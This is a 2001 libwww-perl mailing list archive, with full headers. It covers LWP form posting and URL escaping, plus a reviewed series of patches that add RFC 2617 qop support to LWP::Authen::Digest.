> #in this program, reciever.pl will run on the server side
> $streamstring = "string to be passed to the server";
> my  $req = POST 'http://3.212.228.149/cgi-bin/reciever.pl',[Filecontents
=>$streamstring];
> $req->content_type('application/x-www-form-urlencoded');
> $req->content('match=www&errors=0');
> #content is what the server sends back after processing
> $content = $ua->request($req)->as_string;
> print $content;
>
> Thanks,
> Sammy Davis
>
>





From robert@chalmers.com.au Thu Jan 18 14:19:38 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa16066 for <hyper>;
          18 Jan 2001 14:19 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa16666
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 18 Jan 2001 14:19 PST
Received: (qmail 32091 invoked by uid 508); 18 Jan 2001 22:19:29 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 32079 invoked from network); 18 Jan 2001 22:19:27 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 18 Jan 2001 22:19:27 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0IMFIH01044
	for <libwww@perl.org>; Fri, 19 Jan 2001 08:15:21 +1000 (EST)
Message-ID: <002301c0819b$d0ca5990$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: libwww <libwww@perl.org>
Subject: this escaping text business....
Date: Fri, 19 Jan 2001 08:12:55 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400



I'm trying to post information to a server, but it is showing up as

$name = R%20A%20Chalmers

when it must be

$name = R A Chalmers

I've read the docs backwards and forwards - now totally confused. How do I
get that (all fields actually) to go without all those funny codes in
them...

Thanks for any help
Robert



From cohengil4@hotmail.com Thu Jan 18 15:15:08 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa20889 for <hyper>;
          18 Jan 2001 15:15 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01349
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 18 Jan 2001 15:14 PST
Received: (qmail 8111 invoked by uid 508); 18 Jan 2001 23:14:56 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8102 invoked from network); 18 Jan 2001 23:14:56 -0000
Received: from f116.law8.hotmail.com (HELO hotmail.com) (216.33.241.116)
  by tmtowtdi.perl.org with SMTP; 18 Jan 2001 23:14:56 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 18 Jan 2001 15:14:29 -0800
Received: from 141.155.25.153 by lw8fd.law8.hotmail.msn.com with HTTP;	Thu, 18 Jan 2001 23:14:29 GMT
X-Originating-IP: [141.155.25.153]
From: gil cohen <cohengil4@hotmail.com>
To: robert@chalmers.com.au, libwww@perl.org
Subject: Re: this escaping text business....
Date: Thu, 18 Jan 2001 18:14:29 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F116T1FM1JOMyQlmLFQ0000131a@hotmail.com>
X-OriginalArrivalTime: 18 Jan 2001 23:14:29.0701 (UTC) FILETIME=[68AAAF50:01C081A4]


erm. that's what it should be?
if you're talking on the serverside, you could just use CGI.pm, and use the 
param() thing.


>From: "Robert" <robert@chalmers.com.au>
>To: "libwww" <libwww@perl.org>
>Subject: this escaping text business....
>Date: Fri, 19 Jan 2001 08:12:55 +1000
>
>
>
>I'm trying to post information to a server, but it is showing up as
>
>$name = R%20A%20Chalmers
>
>when it must be
>
>$name = R A Chalmers
>
>I've read the docs backwards and forwards - now totally confused. How do I
>get that (all fields actually) to go without all those funny codes in
>them...
>
>Thanks for any help
>Robert
>
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From dave_dunkin@hotmail.com Thu Jan 18 23:03:30 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa21226 for <hyper>;
          18 Jan 2001 23:03 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08489
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 18 Jan 2001 23:03 PST
Received: (qmail 20843 invoked by uid 508); 19 Jan 2001 07:03:16 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 20758 invoked from network); 19 Jan 2001 07:02:45 -0000
Message-Id: <200101190700.f0J70wn01977@weasel.spud.net>
Subject: LWP::Authen::Digest update for RFC 2617
From: Dave Dunkin <dave_dunkin@hotmail.com>
To: libwww@perl.org
Content-Type: multipart/mixed; boundary="=-7lxDf58XCFLNmOS7KJ6+"
X-Mailer: Evolution 0.8 (Developer Preview)
Date: 19 Jan 2001 01:00:57 -0600
Mime-Version: 1.0

--=-7lxDf58XCFLNmOS7KJ6+
Content-Type: text/plain

In a project I'm currently working on, I need to authenticate with an NT
server which specifies qop="auth" in the WWW-Authenticate header. The
included patch allows this to happen, as specified in RFC 2617.

Dave Dunkin

--=-7lxDf58XCFLNmOS7KJ6+
Content-Type: text/plain
Content-Disposition: attachment; filename=patch
Content-Transfer-Encoding: 7bit

--- Digest.pm.bak	Wed Jan 17 03:13:38 2001
+++ Digest.pm	Fri Jan 19 00:45:32 2001
@@ -3,6 +3,8 @@
 
 require MD5;
 
+my %nonce_count;
+
 sub authenticate
 {
     my($class, $ua, $proxy, $auth_param, $response,
@@ -12,6 +14,10 @@
                                                   $request->url, $proxy);
     return $response unless defined $user and defined $pass;
 
+    $nonce_count{$auth_param->{nonce}}++;
+    my $nc = sprintf "%08X", $nonce_count{$auth_param->{nonce}};
+    my $cnonce = sprintf "%8x", time;
+
     my $md5 = new MD5;
 
     my(@digest);
@@ -21,6 +27,10 @@
 
     push(@digest, $auth_param->{nonce});
 
+    if ($auth_param->{qop}) {
+	push(@digest, $nc, $cnonce, $auth_param->{qop});
+    }
+
     $md5->add(join(":", $request->method, $request->url->path));
     push(@digest, $md5->hexdigest);
     $md5->reset;
@@ -30,9 +40,13 @@
     $md5->reset;
 
     my %resp = map { $_ => $auth_param->{$_} } qw(realm nonce opaque);
-    @resp{qw(username uri response)} = ($user, $request->url->path, $digest);
+    @resp{qw(username uri response algorithm)} = ($user, $request->url->path, $digest, "MD5");
+
+    if($auth_param->{qop} eq "auth") {
+	@resp{qw(qop cnonce nc)} = ("auth", $cnonce, $nc);
+    }
 
-    my(@order) = qw(username realm nonce uri response);
+    my(@order) = qw(username realm qop algorithm uri nonce nc cnonce response);
     if($request->method =~ /^(?:POST|PUT)$/) {
 	$md5->add($request->content);
 	my $content = $md5->hexdigest;

--=-7lxDf58XCFLNmOS7KJ6+--

From gisle@activestate.com Fri Jan 19 08:52:09 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa19376 for <hyper>;
          19 Jan 2001 08:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa21833
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 19 Jan 2001 08:51 PST
Received: (qmail 11011 invoked by uid 508); 19 Jan 2001 16:51:36 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10999 invoked from network); 19 Jan 2001 16:51:36 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 19 Jan 2001 16:51:36 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id IAA05105;
	Fri, 19 Jan 2001 08:50:35 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Dave Dunkin <dave_dunkin@hotmail.com>
Cc: libwww@perl.org
Subject: Re: LWP::Authen::Digest update for RFC 2617
References: <200101190700.f0J70wn01977@weasel.spud.net>
From: Gisle Aas <gisle@activestate.com>
Date: 19 Jan 2001 08:50:35 -0800
In-Reply-To: Dave Dunkin's message of "19 Jan 2001 01:00:57 -0600"
Message-ID: <lry9w7fpus.fsf@caliper.ActiveState.com>
Lines: 19
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Dave Dunkin <dave_dunkin@hotmail.com> writes:

> In a project I'm currently working on, I need to authenticate with an NT
> server which specifies qop="auth" in the WWW-Authenticate header. The
> included patch allows this to happen, as specified in RFC 2617.

The patch seems ok, but it does not apply cleanly on top of the latest
LWP. Could you try to redo it based on LWP-5.50?

  $ patch <patch
  patching file `Digest.pm'
  Hunk #2 succeeded at 17 with fuzz 2 (offset 3 lines).
  Hunk #3 FAILED at 30.
  Hunk #4 FAILED at 43.
  2 out of 4 hunks FAILED -- saving rejects to Digest.pm.rej


Regards,
Gisle

From dave_dunkin@hotmail.com Fri Jan 19 09:44:25 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa24001 for <hyper>;
          19 Jan 2001 09:44 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05937
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 19 Jan 2001 09:44 PST
Received: (qmail 15778 invoked by uid 508); 19 Jan 2001 17:44:14 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 15769 invoked from network); 19 Jan 2001 17:44:14 -0000
Received: from adsl-64-217-180-88.dsl.lgvwtx.swbell.net (HELO weasel.spud.net) (@64.217.180.88)
  by tmtowtdi.perl.org with SMTP; 19 Jan 2001 17:44:14 -0000
Received: (from ddunkin@localhost)
	by weasel.spud.net (8.11.0/8.11.0) id f0JHgNj10467;
	Fri, 19 Jan 2001 11:42:23 -0600
Message-Id: <200101191742.f0JHgNj10467@weasel.spud.net>
Subject: Re: LWP::Authen::Digest update for RFC 2617
From: Dave Dunkin <dave_dunkin@hotmail.com>
To: Gisle Aas <gisle@activestate.com>
Cc: libwww@perl.org
In-Reply-To: <lry9w7fpus.fsf@caliper.ActiveState.com>
References: <200101190700.f0J70wn01977@weasel.spud.net>  
	<lry9w7fpus.fsf@caliper.ActiveState.com>
Content-Type: multipart/mixed; boundary="=-IWR0GZXEWFsfQhLsh4MZ"
X-Mailer: Evolution 0.8 (Developer Preview)
Date: 19 Jan 2001 11:42:22 -0600
Mime-Version: 1.0

--=-IWR0GZXEWFsfQhLsh4MZ
Content-Type: text/plain

My bad. Try this one.

Dave

On 19 Jan 2001 08:50:35 -0800, Gisle Aas wrote:
> Dave Dunkin <dave_dunkin@hotmail.com> writes:
> 
> > In a project I'm currently working on, I need to authenticate with an NT
> > server which specifies qop="auth" in the WWW-Authenticate header. The
> > included patch allows this to happen, as specified in RFC 2617.
> 
> The patch seems ok, but it does not apply cleanly on top of the latest
> LWP. Could you try to redo it based on LWP-5.50?
> 
>   $ patch <patch
>   patching file `Digest.pm'
>   Hunk #2 succeeded at 17 with fuzz 2 (offset 3 lines).
>   Hunk #3 FAILED at 30.
>   Hunk #4 FAILED at 43.
>   2 out of 4 hunks FAILED -- saving rejects to Digest.pm.rej
> 
> 
> Regards,
> Gisle

--=-IWR0GZXEWFsfQhLsh4MZ
Content-Type: text/plain
Content-Disposition: attachment; filename=patch3
Content-Transfer-Encoding: 7bit

--- Digest.pm.latest	Fri Jan 19 03:02:43 2001
+++ Digest.pm	Fri Jan 19 03:09:32 2001
@@ -3,6 +3,8 @@
 
 require MD5;
 
+my %nonce_count;
+
 sub authenticate
 {
     my($class, $ua, $proxy, $auth_param, $response,
@@ -12,6 +14,10 @@
                                                   $request->url, $proxy);
     return $response unless defined $user and defined $pass;
 
+    $nonce_count{$auth_param->{nonce}}++;
+    my $nc = sprintf "%08X", $nonce_count{$auth_param->{nonce}};
+    my $cnonce = sprintf "%8x", time;
+
     my $uri = $request->url->path_query;
     $uri = "/" unless length $uri;
 
@@ -24,7 +30,11 @@
 
     push(@digest, $auth_param->{nonce});
 
-    $md5->add(join(":", $request->method, $uri));
+    if ($auth_param->{qop}) {
+	push(@digest, $nc, $cnonce, $auth_param->{qop});
+    }
+
+    $md5->add(join(":", $request->method, $request->url->path));
     push(@digest, $md5->hexdigest);
     $md5->reset;
 
@@ -33,9 +43,13 @@
     $md5->reset;
 
     my %resp = map { $_ => $auth_param->{$_} } qw(realm nonce opaque);
-    @resp{qw(username uri response)} = ($user, $uri, $digest);
+    @resp{qw(username uri response algorithm)} = ($user, $uri, $digest, "MD5");
+
+    if($auth_param->{qop} eq "auth") {
+	@resp{qw(qop cnonce nc)} = ("auth", $cnonce, $nc);
+    }
 
-    my(@order) = qw(username realm nonce uri response);
+    my(@order) = qw(username realm qop algorithm uri nonce nc cnonce response);
     if($request->method =~ /^(?:POST|PUT)$/) {
 	$md5->add($request->content);
 	my $content = $md5->hexdigest;

--=-IWR0GZXEWFsfQhLsh4MZ--

From gisle@activestate.com Fri Jan 19 10:12:22 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26479 for <hyper>;
          19 Jan 2001 10:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa13520
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 19 Jan 2001 10:12 PST
Received: (qmail 19102 invoked by uid 508); 19 Jan 2001 18:12:10 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19093 invoked from network); 19 Jan 2001 18:12:09 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 19 Jan 2001 18:12:09 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id KAA05175;
	Fri, 19 Jan 2001 10:11:41 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Dave Dunkin <dave_dunkin@hotmail.com>
Cc: libwww@perl.org
Subject: Re: LWP::Authen::Digest update for RFC 2617
References: <200101190700.f0J70wn01977@weasel.spud.net>
	<lry9w7fpus.fsf@caliper.ActiveState.com>
	<200101191742.f0JHgNj10467@weasel.spud.net>
From: Gisle Aas <gisle@activestate.com>
Date: 19 Jan 2001 10:11:41 -0800
In-Reply-To: Dave Dunkin's message of "19 Jan 2001 11:42:22 -0600"
Message-ID: <lrpuhjfm3m.fsf@caliper.ActiveState.com>
Lines: 73
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Dave Dunkin <dave_dunkin@hotmail.com> writes:

> My bad. Try this one.

[...]

> --- Digest.pm.latest	Fri Jan 19 03:02:43 2001
> +++ Digest.pm	Fri Jan 19 03:09:32 2001
> @@ -3,6 +3,8 @@
>  
>  require MD5;
>  
> +my %nonce_count;
> +
>  sub authenticate
>  {
>      my($class, $ua, $proxy, $auth_param, $response,
> @@ -12,6 +14,10 @@
>                                                    $request->url, $proxy);
>      return $response unless defined $user and defined $pass;
>  
> +    $nonce_count{$auth_param->{nonce}}++;
> +    my $nc = sprintf "%08X", $nonce_count{$auth_param->{nonce}};
> +    my $cnonce = sprintf "%8x", time;
> +

I think the %nonce_count here should really be a $ua attribute.  If
you use multiple LWP::UserAgents then they should maintain different
sequences, because they are different clients.  Something like:

   $ua->{authen_md5_nounce_count}{$auth_param->{nonce}}++;

should be acceptable.

You should probably try to avoid warnings from perl about using undef
values if the response did not include any nonce value too.  LWP
really ought to have a test-suite entry for this code too.

>      my $uri = $request->url->path_query;
>      $uri = "/" unless length $uri;
>  
> @@ -24,7 +30,11 @@
>  
>      push(@digest, $auth_param->{nonce});
>  
> -    $md5->add(join(":", $request->method, $uri));
> +    if ($auth_param->{qop}) {
> +	push(@digest, $nc, $cnonce, $auth_param->{qop});
> +    }
> +
> +    $md5->add(join(":", $request->method, $request->url->path));

I believe you should not change the last parameter to $md5->add here.

>      push(@digest, $md5->hexdigest);
>      $md5->reset;
>  
> @@ -33,9 +43,13 @@
>      $md5->reset;
>  
>      my %resp = map { $_ => $auth_param->{$_} } qw(realm nonce opaque);
> -    @resp{qw(username uri response)} = ($user, $uri, $digest);
> +    @resp{qw(username uri response algorithm)} = ($user, $uri, $digest, "MD5");
> +
> +    if($auth_param->{qop} eq "auth") {
> +	@resp{qw(qop cnonce nc)} = ("auth", $cnonce, $nc);
> +    }
>  
> -    my(@order) = qw(username realm nonce uri response);
> +    my(@order) = qw(username realm qop algorithm uri nonce nc cnonce response);
>      if($request->method =~ /^(?:POST|PUT)$/) {
>  	$md5->add($request->content);
>  	my $content = $md5->hexdigest;

From mikedlr@tardis.ed.ac.uk Sat Jan 20 13:07:47 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa19231 for <hyper>;
          20 Jan 2001 13:07 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa12911
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 20 Jan 2001 13:07 PST
Received: (qmail 29865 invoked by uid 508); 20 Jan 2001 21:07:36 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 29856 invoked from network); 20 Jan 2001 21:07:35 -0000
Received: from master.tardis.ed.ac.uk (193.62.81.6)
  by tmtowtdi.perl.org with SMTP; 20 Jan 2001 21:07:35 -0000
Received: from tardis.tardis.ed.ac.uk (tardis.tardis.ed.ac.uk [193.62.81.1])
	by master.tardis.ed.ac.uk (Postfix) with ESMTP id 01D8C2F825
	for <libwww@perl.org>; Sat, 20 Jan 2001 21:07:16 +0000 (GMT)
Received: (from mikedlr@localhost)
	by tardis.tardis.ed.ac.uk (8.8.8+Sun/8.8.7/TardisClientv2) id VAA08071;
	Sat, 20 Jan 2001 21:07:33 GMT
Date: Sat, 20 Jan 2001 21:07:33 +0000 (GMT)
From: Michael De La Rue <mikedlr@tardis.ed.ac.uk>
To: libwww@perl.org
Subject: Modules / link checking system for testing.
Message-ID: <Pine.GSO.3.96.1010120210325.7893B-100000@tardis.tardis.ed.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

If you are interested in a system for checking links, with various
advanced features (retesting to avoid false positive broken links for
example) then please look at 

	http://scotclimb.org.uk/software/linkcont/

and the various modules in the PM directory (or RPMS in the RPM directory)
and comment.  

Portability may be a little questionable beyond UNIX systems... :-)

Comments and test reports appreciated.

	Michael


From dave_dunkin@hotmail.com Sat Jan 20 22:54:39 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07270 for <hyper>;
          20 Jan 2001 22:54 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27494
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 20 Jan 2001 22:54 PST
Received: (qmail 24593 invoked by uid 508); 21 Jan 2001 06:54:14 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 24584 invoked from network); 21 Jan 2001 06:54:13 -0000
Received: from adsl-64-217-181-31.dsl.lgvwtx.swbell.net (HELO weasel.spud.net) (@64.217.181.31)
  by tmtowtdi.perl.org with SMTP; 21 Jan 2001 06:54:13 -0000
Received: (from ddunkin@localhost)
	by weasel.spud.net (8.11.0/8.11.0) id f0L6qFX13670;
	Sun, 21 Jan 2001 00:52:15 -0600
Message-Id: <200101210652.f0L6qFX13670@weasel.spud.net>
Subject: Re: LWP::Authen::Digest update for RFC 2617
From: Dave Dunkin <dave_dunkin@hotmail.com>
To: Gisle Aas <gisle@activestate.com>
Cc: libwww@perl.org
In-Reply-To: <lrpuhjfm3m.fsf@caliper.ActiveState.com>
References: <200101190700.f0J70wn01977@weasel.spud.net>  
	<lry9w7fpus.fsf@caliper.ActiveState.com>  
	<200101191742.f0JHgNj10467@weasel.spud.net>  
	<lrpuhjfm3m.fsf@caliper.ActiveState.com>
Content-Type: multipart/mixed; boundary="=-FEADMvTynIuIWHGj4NIL"
X-Mailer: Evolution 0.8 (Developer Preview)
Date: 21 Jan 2001 00:52:13 -0600
Mime-Version: 1.0

--=-FEADMvTynIuIWHGj4NIL
Content-Type: text/plain

On 19 Jan 2001 10:11:41 -0800, Gisle Aas wrote:
<snip>
> You should probably try to avoid warnings from perl about using undef
> values if the response did not include any nonce value too.  LWP
> really ought to have a test-suite entry for this code too.

The response header must contain the nonce value, according to RFC 2617.
I looked in the tests and didn't find anything related to the client
side of the authentication. Did I miss it, or is it not there? I've
attached an updated patch, taking into consideration the things you
pointed out.

Dave


--=-FEADMvTynIuIWHGj4NIL
Content-Type: text/plain
Content-Disposition: attachment; filename=patch4
Content-Transfer-Encoding: 7bit

--- Digest.pm.latest	Fri Jan 19 03:02:43 2001
+++ Digest.pm	Sun Jan 21 00:17:05 2001
@@ -12,6 +12,10 @@
                                                   $request->url, $proxy);
     return $response unless defined $user and defined $pass;
 
+    $ua->{authen_md5_nonce_count}{$auth_param->{nonce}}++;
+    my $nc = sprintf "%08X";
+    my $cnonce = sprintf "%8x", time;
+
     my $uri = $request->url->path_query;
     $uri = "/" unless length $uri;
 
@@ -24,6 +28,10 @@
 
     push(@digest, $auth_param->{nonce});
 
+    if ($auth_param->{qop}) {
+	push(@digest, $nc, $cnonce, $auth_param->{qop});
+    }
+
     $md5->add(join(":", $request->method, $uri));
     push(@digest, $md5->hexdigest);
     $md5->reset;
@@ -33,9 +41,13 @@
     $md5->reset;
 
     my %resp = map { $_ => $auth_param->{$_} } qw(realm nonce opaque);
-    @resp{qw(username uri response)} = ($user, $uri, $digest);
+    @resp{qw(username uri response algorithm)} = ($user, $uri, $digest, "MD5");
+
+    if($auth_param->{qop} eq "auth") {
+	@resp{qw(qop cnonce nc)} = ("auth", $cnonce, $nc);
+    }
 
-    my(@order) = qw(username realm nonce uri response);
+    my(@order) = qw(username realm qop algorithm uri nonce nc cnonce response);
     if($request->method =~ /^(?:POST|PUT)$/) {
 	$md5->add($request->content);
 	my $content = $md5->hexdigest;

--=-FEADMvTynIuIWHGj4NIL--

From fielding@ebuilt.com Sun Jan 21 09:03:52 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa25424 for <hyper>;
          21 Jan 2001 09:03 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa19990
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Jan 2001 09:03 PST
Received: (qmail 14043 invoked by uid 508); 21 Jan 2001 17:03:24 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 14034 invoked from network); 21 Jan 2001 17:03:23 -0000
Received: from nat.ebuilt.net (HELO catbert.ebuilt.net) (209.216.43.22)
  by tmtowtdi.perl.org with SMTP; 21 Jan 2001 17:03:23 -0000
Received: from waka.ebuilt.net (IDENT:root@i199.ir.ebuilt.net [10.1.2.199])
	by catbert.ebuilt.net (8.11.0/8.11.0) with ESMTP id f0LH2Th17556;
	Sun, 21 Jan 2001 09:02:29 -0800 (PST)
Received: (from fielding@localhost)
	by waka.ebuilt.net (8.11.0/8.11.0) id f0LD9gg04803;
	Sun, 21 Jan 2001 08:09:42 -0500
Date: Sun, 21 Jan 2001 08:09:42 -0500
From: "Roy T. Fielding" <fielding@ebuilt.com>
To: Gisle Aas <gisle@activestate.com>
Cc: libwww@perl.org, Neal Probert <nprobert@walid.com>
Subject: Re: URI::Escape
Message-ID: <20010121080942.D814@waka.ebuilt.net>
References: <3A648012.332CD7D6@walid.com> <lrzogrwghg.fsf@caliper.ActiveState.com> <3A649B2B.2914157A@walid.com> <lr4ryzceo5.fsf@caliper.ActiveState.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.13-current-20010115i
In-Reply-To: <lr4ryzceo5.fsf@caliper.ActiveState.com>; from gisle@ActiveState.com on Tue, Jan 16, 2001 at 02:31:22PM -0800

> Does anybody know anything more about this kind of escapes?  Are they
> somewhat standard somewhere and is it worth supporting them at this
> point?

They are not standard, and never will be.

....Roy

> > > > URI::Escape doesn't seem to handle the %uXXXX Unicode format, even with
> > > > Perl 5.6.

From dave_dunkin@hotmail.com Sun Jan 21 19:12:43 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa20329 for <hyper>;
          21 Jan 2001 19:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa09681
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Jan 2001 19:12 PST
Received: (qmail 23704 invoked by uid 508); 22 Jan 2001 03:12:29 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 23694 invoked from network); 22 Jan 2001 03:12:28 -0000
Received: from adsl-64-217-180-11.dsl.lgvwtx.swbell.net (HELO weasel.spud.net) (@64.217.180.11)
  by tmtowtdi.perl.org with SMTP; 22 Jan 2001 03:12:28 -0000
Received: (from ddunkin@localhost)
	by weasel.spud.net (8.11.0/8.11.0) id f0M3AXm20882;
	Sun, 21 Jan 2001 21:10:33 -0600
Message-Id: <200101220310.f0M3AXm20882@weasel.spud.net>
Subject: Re: LWP::Authen::Digest update for RFC 2617
From: Dave Dunkin <dave_dunkin@hotmail.com>
To: libwww@perl.org
In-Reply-To: <200101210652.f0L6qFX13670@weasel.spud.net>
References: <200101190700.f0J70wn01977@weasel.spud.net>  
	<lry9w7fpus.fsf@caliper.ActiveState.com>  
	<200101191742.f0JHgNj10467@weasel.spud.net>  
	<lrpuhjfm3m.fsf@caliper.ActiveState.com>  
	<200101210652.f0L6qFX13670@weasel.spud.net>
Content-Type: multipart/mixed; boundary="=-mjwVE4rHgzZ7Y2mvgyXJ"
X-Mailer: Evolution 0.8 (Developer Preview)
Date: 21 Jan 2001 21:10:29 -0600
Mime-Version: 1.0

--=-mjwVE4rHgzZ7Y2mvgyXJ
Content-Type: text/plain

Dang it. The previous patch didn't increment the nonce count properly. Here's one that does.



On 21 Jan 2001 00:52:13 -0600, Dave Dunkin wrote:
> On 19 Jan 2001 10:11:41 -0800, Gisle Aas wrote:
> <snip>
> > You should probably try to avoid warnings from perl about using undef
> > values if the response did not include any nonce value too.  LWP
> > really ought to have a test-suite entry for this code too.
> 
> The response header must contain the nonce value, according to RFC 2617.
